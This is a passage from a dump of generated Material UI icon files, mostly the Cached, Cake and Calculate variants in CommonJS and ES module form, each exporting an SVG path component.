    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19 8-4 4h3c0 3.31-2.69 6-6 6-1.01 0-1.97-.25-2.8-.7l-1.46 1.46C8.97 19.54 10.43 20 12 20c4.42 0 8-3.58 8-8h3zM6 12c0-3.31 2.69-6 6-6 1.01 0 1.97.25 2.8.7l1.46-1.46C15.03 4.46 13.57 4 12 4c-4.42 0-8 3.58-8 8H1l4 4 4-4z\"\n}), 'CachedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CachedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.65 8.35-2.79 2.79c-.32.32-.1.86.35.86H18c0 3.31-2.69 6-6 6-.79 0-1.56-.15-2.25-.44-.36-.15-.77-.04-1.04.23-.51.51-.33 1.37.34 1.64.91.37 1.91.57 2.95.57 4.42 0 8-3.58 8-8h1.79c.45 0 .67-.54.35-.85l-2.79-2.79c-.19-.2-.51-.2-.7-.01M6 12c0-3.31 2.69-6 6-6 .79 0 1.56.15 2.25.44.36.15.77.04 1.04-.23.51-.51.33-1.37-.34-1.64C14.04 4.2 13.04 4 12 4c-4.42 0-8 3.58-8 8H2.21c-.45 0-.67.54-.35.85l2.79 2.79c.2.2.51.2.71 0l2.79-2.79c.31-.31.09-.85-.36-.85z\"\n}), 'CachedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CachedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.65 8.35-2.79 2.79c-.32.32-.1.86.35.86H18c0 3.31-2.69 6-6 6-.79 0-1.56-.15-2.25-.44-.36-.15-.77-.04-1.04.23-.51.51-.33 1.37.34 1.64.91.37 1.91.57 2.95.57 4.42 0 8-3.58 8-8h1.79c.45 0 .67-.54.35-.85l-2.79-2.79c-.19-.2-.51-.2-.7-.01M6 12c0-3.31 2.69-6 6-6 .79 0 1.56.15 2.25.44.36.15.77.04 1.04-.23.51-.51.33-1.37-.34-1.64C14.04 4.2 13.04 4 12 4c-4.42 0-8 3.58-8 8H2.21c-.45 0-.67.54-.35.85l2.79 2.79c.2.2.51.2.71 0l2.79-2.79c.31-.31.09-.85-.36-.85z\"\n}), 'CachedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CachedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19 8-4 4h3c0 3.31-2.69 6-6 6-1.01 0-1.97-.25-2.8-.7l-1.46 1.46C8.97 19.54 10.43 20 12 20c4.42 0 8-3.58 8-8h3zM6 12c0-3.31 2.69-6 6-6 1.01 0 1.97.25 2.8.7l1.46-1.46C15.03 4.46 13.57 4 12 4c-4.42 0-8 3.58-8 8H1l4 4 4-4z\"\n}), 'CachedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CachedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19 8-4 4h3c0 3.31-2.69 6-6 6-1.01 0-1.97-.25-2.8-.7l-1.46 1.46C8.97 19.54 10.43 20 12 20c4.42 0 8-3.58 8-8h3zM6 12c0-3.31 2.69-6 6-6 1.01 0 1.97.25 2.8.7l1.46-1.46C15.03 4.46 13.57 4 12 4c-4.42 0-8 3.58-8 8H1l4 4 4-4z\"\n}), 'CachedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CachedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19 8-4 4h3c0 3.31-2.69 6-6 6-1.01 0-1.97-.25-2.8-.7l-1.46 1.46C8.97 19.54 10.43 20 12 20c4.42 0 8-3.58 8-8h3zM6 12c0-3.31 2.69-6 6-6 1.01 0 1.97.25 2.8.7l1.46-1.46C15.03 4.46 13.57 4 12 4c-4.42 0-8 3.58-8 8H1l4 4 4-4z\"\n}), 'CachedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CachedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19 8-4 4h3c0 3.31-2.69 6-6 6-1.01 0-1.97-.25-2.8-.7l-1.46 1.46C8.97 19.54 10.43 20 12 20c4.42 0 8-3.58 8-8h3zM6 12c0-3.31 2.69-6 6-6 1.01 0 1.97.25 2.8.7l1.46-1.46C15.03 4.46 13.57 4 12 4c-4.42 0-8 3.58-8 8H1l4 4 4-4z\"\n}), 'CachedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Cake.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c1.11 0 2-.9 2-2 0-.38-.1-.73-.29-1.03L12 0l-1.71 2.97c-.19.3-.29.65-.29 1.03 0 1.1.9 2 2 2m4.6 9.99-1.07-1.07-1.08 1.07c-1.3 1.3-3.58 1.31-4.89 0l-1.07-1.07-1.09 1.07C6.75 16.64 5.88 17 4.96 17c-.73 0-1.4-.23-1.96-.61V21c0 .55.45 1 1 1h16c.55 0 1-.45 1-1v-4.61c-.56.38-1.23.61-1.96.61-.92 0-1.79-.36-2.44-1.01M18 9h-5V7h-2v2H6c-1.66 0-3 1.34-3 3v1.54c0 1.08.88 1.96 1.96 1.96.52 0 1.02-.2 1.38-.57l2.14-2.13 2.13 2.13c.74.74 2.03.74 2.77 0l2.14-2.13 2.13 2.13c.37.37.86.57 1.38.57 1.08 0 1.96-.88 1.96-1.96V12C21 10.34 19.66 9 18 9\"\n}), 'Cake');"
  },
  {
    "path": "packages/mui-icons-material/lib/Cake.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c1.11 0 2-.9 2-2 0-.38-.1-.73-.29-1.03L12 0l-1.71 2.97c-.19.3-.29.65-.29 1.03 0 1.1.9 2 2 2m4.6 9.99-1.07-1.07-1.08 1.07c-1.3 1.3-3.58 1.31-4.89 0l-1.07-1.07-1.09 1.07C6.75 16.64 5.88 17 4.96 17c-.73 0-1.4-.23-1.96-.61V21c0 .55.45 1 1 1h16c.55 0 1-.45 1-1v-4.61c-.56.38-1.23.61-1.96.61-.92 0-1.79-.36-2.44-1.01M18 9h-5V7h-2v2H6c-1.66 0-3 1.34-3 3v1.54c0 1.08.88 1.96 1.96 1.96.52 0 1.02-.2 1.38-.57l2.14-2.13 2.13 2.13c.74.74 2.03.74 2.77 0l2.14-2.13 2.13 2.13c.37.37.86.57 1.38.57 1.08 0 1.96-.88 1.96-1.96V12C21 10.34 19.66 9 18 9\"\n}), 'Cake');"
  },
  {
    "path": "packages/mui-icons-material/lib/CakeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c1.11 0 2-.9 2-2 0-.38-.1-.73-.29-1.03L12 0l-1.71 2.97c-.19.3-.29.65-.29 1.03 0 1.1.9 2 2 2m6 3h-5V7h-2v2H6c-1.66 0-3 1.34-3 3v9c0 .55.45 1 1 1h16c.55 0 1-.45 1-1v-9c0-1.66-1.34-3-3-3m1 11H5v-3c.9-.01 1.76-.37 2.4-1.01l1.09-1.07 1.07 1.07c1.31 1.31 3.59 1.3 4.89 0l1.08-1.07 1.07 1.07c.64.64 1.5 1 2.4 1.01zm0-4.5c-.51-.01-.99-.2-1.35-.57l-2.13-2.13-2.14 2.13c-.74.74-2.03.74-2.77 0L8.48 12.8l-2.14 2.13c-.35.36-.83.56-1.34.57V12c0-.55.45-1 1-1h12c.55 0 1 .45 1 1z\"\n}), 'CakeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CakeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c1.11 0 2-.9 2-2 0-.38-.1-.73-.29-1.03L12 0l-1.71 2.97c-.19.3-.29.65-.29 1.03 0 1.1.9 2 2 2m6 3h-5V7h-2v2H6c-1.66 0-3 1.34-3 3v9c0 .55.45 1 1 1h16c.55 0 1-.45 1-1v-9c0-1.66-1.34-3-3-3m1 11H5v-3c.9-.01 1.76-.37 2.4-1.01l1.09-1.07 1.07 1.07c1.31 1.31 3.59 1.3 4.89 0l1.08-1.07 1.07 1.07c.64.64 1.5 1 2.4 1.01zm0-4.5c-.51-.01-.99-.2-1.35-.57l-2.13-2.13-2.14 2.13c-.74.74-2.03.74-2.77 0L8.48 12.8l-2.14 2.13c-.35.36-.83.56-1.34.57V12c0-.55.45-1 1-1h12c.55 0 1 .45 1 1z\"\n}), 'CakeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CakeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.68 5.88c.7-.24 1.22-.9 1.3-1.64.05-.47-.05-.91-.28-1.27L12.42.75c-.19-.33-.67-.33-.87 0l-1.28 2.22c-.17.3-.27.65-.27 1.03 0 1.32 1.3 2.35 2.68 1.88m3.85 10.04-1-1-1.08 1.07c-1.3 1.3-3.58 1.31-4.89 0l-1.07-1.07-1.09 1.07C6.75 16.64 5.88 17 4.96 17c-.73 0-1.4-.23-1.96-.61V20c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-3.61c-.75.51-1.71.75-2.74.52-.66-.14-1.25-.51-1.73-.99M18 9h-5V8c0-.55-.45-1-1-1s-1 .45-1 1v1H6c-1.66 0-3 1.34-3 3v1.46c0 .85.5 1.67 1.31 1.94.73.24 1.52.06 2.03-.46l2.14-2.13 2.13 2.13c.76.76 2.01.76 2.77 0l2.14-2.13 2.13 2.13c.43.43 1.03.63 1.65.55.99-.13 1.69-1.06 1.69-2.06v-1.42C21 10.34 19.66 9 18 9\"\n}), 'CakeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CakeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.68 5.88c.7-.24 1.22-.9 1.3-1.64.05-.47-.05-.91-.28-1.27L12.42.75c-.19-.33-.67-.33-.87 0l-1.28 2.22c-.17.3-.27.65-.27 1.03 0 1.32 1.3 2.35 2.68 1.88m3.85 10.04-1-1-1.08 1.07c-1.3 1.3-3.58 1.31-4.89 0l-1.07-1.07-1.09 1.07C6.75 16.64 5.88 17 4.96 17c-.73 0-1.4-.23-1.96-.61V20c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-3.61c-.75.51-1.71.75-2.74.52-.66-.14-1.25-.51-1.73-.99M18 9h-5V8c0-.55-.45-1-1-1s-1 .45-1 1v1H6c-1.66 0-3 1.34-3 3v1.46c0 .85.5 1.67 1.31 1.94.73.24 1.52.06 2.03-.46l2.14-2.13 2.13 2.13c.76.76 2.01.76 2.77 0l2.14-2.13 2.13 2.13c.43.43 1.03.63 1.65.55.99-.13 1.69-1.06 1.69-2.06v-1.42C21 10.34 19.66 9 18 9\"\n}), 'CakeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CakeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c1.11 0 2-.9 2-2 0-.38-.1-.73-.29-1.03L12 0l-1.71 2.97c-.19.3-.29.65-.29 1.03 0 1.1.9 2 2 2m4.53 9.92-1-1-1.08 1.07c-1.3 1.3-3.58 1.31-4.89 0l-1.07-1.07-1.09 1.07C6.75 16.64 5.88 17 4.96 17c-.73 0-1.4-.23-1.96-.61V22h18v-5.61c-.75.51-1.71.75-2.74.52-.66-.14-1.25-.51-1.73-.99M18 9h-5V7h-2v2H6c-1.66 0-3 1.34-3 3v1.54c0 1.08.88 1.96 1.96 1.96.52 0 1.02-.2 1.38-.57l2.14-2.13 2.13 2.13c.74.74 2.03.74 2.77 0l2.14-2.13 2.13 2.13c.37.37.86.57 1.38.57 1.08 0 1.96-.88 1.96-1.96V12C21 10.34 19.66 9 18 9\"\n}), 'CakeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CakeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c1.11 0 2-.9 2-2 0-.38-.1-.73-.29-1.03L12 0l-1.71 2.97c-.19.3-.29.65-.29 1.03 0 1.1.9 2 2 2m4.53 9.92-1-1-1.08 1.07c-1.3 1.3-3.58 1.31-4.89 0l-1.07-1.07-1.09 1.07C6.75 16.64 5.88 17 4.96 17c-.73 0-1.4-.23-1.96-.61V22h18v-5.61c-.75.51-1.71.75-2.74.52-.66-.14-1.25-.51-1.73-.99M18 9h-5V7h-2v2H6c-1.66 0-3 1.34-3 3v1.54c0 1.08.88 1.96 1.96 1.96.52 0 1.02-.2 1.38-.57l2.14-2.13 2.13 2.13c.74.74 2.03.74 2.77 0l2.14-2.13 2.13 2.13c.37.37.86.57 1.38.57 1.08 0 1.96-.88 1.96-1.96V12C21 10.34 19.66 9 18 9\"\n}), 'CakeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CakeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.53 14.92-1.08 1.07c-1.3 1.3-3.58 1.31-4.89 0l-1.07-1.07-1.09 1.07c-.64.64-1.5 1-2.4 1.01v3h14v-3c-.9-.01-1.76-.37-2.4-1.01zM18 11H6c-.55 0-1 .45-1 1v3.5c.51-.01.99-.21 1.34-.57l2.14-2.13 2.13 2.13c.74.74 2.03.74 2.77 0l2.14-2.13 2.13 2.13c.36.36.84.56 1.35.57V12c0-.55-.45-1-1-1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c1.11 0 2-.9 2-2 0-.38-.1-.73-.29-1.03L12 0l-1.71 2.97c-.19.3-.29.65-.29 1.03 0 1.1.9 2 2 2m6 3h-5V7h-2v2H6c-1.66 0-3 1.34-3 3v9c0 .55.45 1 1 1h16c.55 0 1-.45 1-1v-9c0-1.66-1.34-3-3-3m1 11H5v-3c.9-.01 1.76-.37 2.4-1.01l1.09-1.07 1.07 1.07c1.31 1.31 3.59 1.3 4.89 0l1.08-1.07 1.07 1.07c.64.64 1.5 1 2.4 1.01zm0-4.5c-.51-.01-.99-.2-1.35-.57l-2.13-2.13-2.14 2.13c-.74.74-2.03.74-2.77 0L8.48 12.8l-2.14 2.13c-.35.36-.83.56-1.34.57V12c0-.55.45-1 1-1h12c.55 0 1 .45 1 1z\"\n}, \"1\")], 'CakeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CakeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.53 14.92-1.08 1.07c-1.3 1.3-3.58 1.31-4.89 0l-1.07-1.07-1.09 1.07c-.64.64-1.5 1-2.4 1.01v3h14v-3c-.9-.01-1.76-.37-2.4-1.01zM18 11H6c-.55 0-1 .45-1 1v3.5c.51-.01.99-.21 1.34-.57l2.14-2.13 2.13 2.13c.74.74 2.03.74 2.77 0l2.14-2.13 2.13 2.13c.36.36.84.56 1.35.57V12c0-.55-.45-1-1-1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c1.11 0 2-.9 2-2 0-.38-.1-.73-.29-1.03L12 0l-1.71 2.97c-.19.3-.29.65-.29 1.03 0 1.1.9 2 2 2m6 3h-5V7h-2v2H6c-1.66 0-3 1.34-3 3v9c0 .55.45 1 1 1h16c.55 0 1-.45 1-1v-9c0-1.66-1.34-3-3-3m1 11H5v-3c.9-.01 1.76-.37 2.4-1.01l1.09-1.07 1.07 1.07c1.31 1.31 3.59 1.3 4.89 0l1.08-1.07 1.07 1.07c.64.64 1.5 1 2.4 1.01zm0-4.5c-.51-.01-.99-.2-1.35-.57l-2.13-2.13-2.14 2.13c-.74.74-2.03.74-2.77 0L8.48 12.8l-2.14 2.13c-.35.36-.83.56-1.34.57V12c0-.55.45-1 1-1h12c.55 0 1 .45 1 1z\"\n}, \"1\")], 'CakeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Calculate.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-5.97 4.06L14.09 6l1.41 1.41L16.91 6l1.06 1.06-1.41 1.41 1.41 1.41-1.06 1.06-1.41-1.4-1.41 1.41-1.06-1.06 1.41-1.41zm-6.78.66h5v1.5h-5zM11.5 16h-2v2H8v-2H6v-1.5h2v-2h1.5v2h2zm6.5 1.25h-5v-1.5h5zm0-2.5h-5v-1.5h5z\"\n}), 'Calculate');"
  },
  {
    "path": "packages/mui-icons-material/lib/Calculate.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-5.97 4.06L14.09 6l1.41 1.41L16.91 6l1.06 1.06-1.41 1.41 1.41 1.41-1.06 1.06-1.41-1.4-1.41 1.41-1.06-1.06 1.41-1.41zm-6.78.66h5v1.5h-5zM11.5 16h-2v2H8v-2H6v-1.5h2v-2h1.5v2h2zm6.5 1.25h-5v-1.5h5zm0-2.5h-5v-1.5h5z\"\n}), 'Calculate');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalculateOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.25 7.72h5v1.5h-5zM13 15.75h5v1.5h-5zm0-2.5h5v1.5h-5zM8 18h1.5v-2h2v-1.5h-2v-2H8v2H6V16h2zm6.09-7.05 1.41-1.41 1.41 1.41 1.06-1.06-1.41-1.42 1.41-1.41L16.91 6 15.5 7.41 14.09 6l-1.06 1.06 1.41 1.41-1.41 1.42z\"\n}, \"1\")], 'CalculateOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalculateOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.25 7.72h5v1.5h-5zM13 15.75h5v1.5h-5zm0-2.5h5v1.5h-5zM8 18h1.5v-2h2v-1.5h-2v-2H8v2H6V16h2zm6.09-7.05 1.41-1.41 1.41 1.41 1.06-1.06-1.41-1.42 1.41-1.41L16.91 6 15.5 7.41 14.09 6l-1.06 1.06 1.41 1.41-1.41 1.42z\"\n}, \"1\")], 'CalculateOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalculateRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-5.44 3.53c.29-.29.77-.29 1.06 0l.88.88.88-.88c.29-.29.77-.29 1.06 0s.29.77 0 1.06l-.88.88.88.88c.29.29.29.77 0 1.06s-.77.29-1.06 0l-.88-.87-.88.88c-.29.29-.77.29-1.06 0s-.29-.77 0-1.06l.88-.88-.88-.88c-.3-.3-.3-.78 0-1.07M7 7.72h3.5c.41 0 .75.34.75.75s-.34.75-.75.75H7c-.41 0-.75-.34-.75-.75s.34-.75.75-.75M10.75 16H9.5v1.25c0 .41-.34.75-.75.75S8 17.66 8 17.25V16H6.75c-.41 0-.75-.34-.75-.75s.34-.75.75-.75H8v-1.25c0-.41.34-.75.75-.75s.75.34.75.75v1.25h1.25c.41 0 .75.34.75.75s-.34.75-.75.75m6.5 1.25h-3.5c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h3.5c.41 0 .75.34.75.75s-.34.75-.75.75m0-2.5h-3.5c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h3.5c.41 0 .75.34.75.75s-.34.75-.75.75\"\n}), 'CalculateRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalculateRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-5.44 3.53c.29-.29.77-.29 1.06 0l.88.88.88-.88c.29-.29.77-.29 1.06 0s.29.77 0 1.06l-.88.88.88.88c.29.29.29.77 0 1.06s-.77.29-1.06 0l-.88-.87-.88.88c-.29.29-.77.29-1.06 0s-.29-.77 0-1.06l.88-.88-.88-.88c-.3-.3-.3-.78 0-1.07M7 7.72h3.5c.41 0 .75.34.75.75s-.34.75-.75.75H7c-.41 0-.75-.34-.75-.75s.34-.75.75-.75M10.75 16H9.5v1.25c0 .41-.34.75-.75.75S8 17.66 8 17.25V16H6.75c-.41 0-.75-.34-.75-.75s.34-.75.75-.75H8v-1.25c0-.41.34-.75.75-.75s.75.34.75.75v1.25h1.25c.41 0 .75.34.75.75s-.34.75-.75.75m6.5 1.25h-3.5c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h3.5c.41 0 .75.34.75.75s-.34.75-.75.75m0-2.5h-3.5c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h3.5c.41 0 .75.34.75.75s-.34.75-.75.75\"\n}), 'CalculateRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalculateSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zm-7.97 4.06L14.09 6l1.41 1.41L16.91 6l1.06 1.06-1.41 1.41 1.41 1.41-1.06 1.06-1.41-1.4-1.41 1.41-1.06-1.06 1.41-1.41zm-6.78.66h5v1.5h-5zM11.5 16h-2v2H8v-2H6v-1.5h2v-2h1.5v2h2zm6.5 1.25h-5v-1.5h5zm0-2.5h-5v-1.5h5z\"\n}), 'CalculateSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalculateSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zm-7.97 4.06L14.09 6l1.41 1.41L16.91 6l1.06 1.06-1.41 1.41 1.41 1.41-1.06 1.06-1.41-1.4-1.41 1.41-1.06-1.06 1.41-1.41zm-6.78.66h5v1.5h-5zM11.5 16h-2v2H8v-2H6v-1.5h2v-2h1.5v2h2zm6.5 1.25h-5v-1.5h5zm0-2.5h-5v-1.5h5z\"\n}), 'CalculateSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CalculateTwoTone.js",
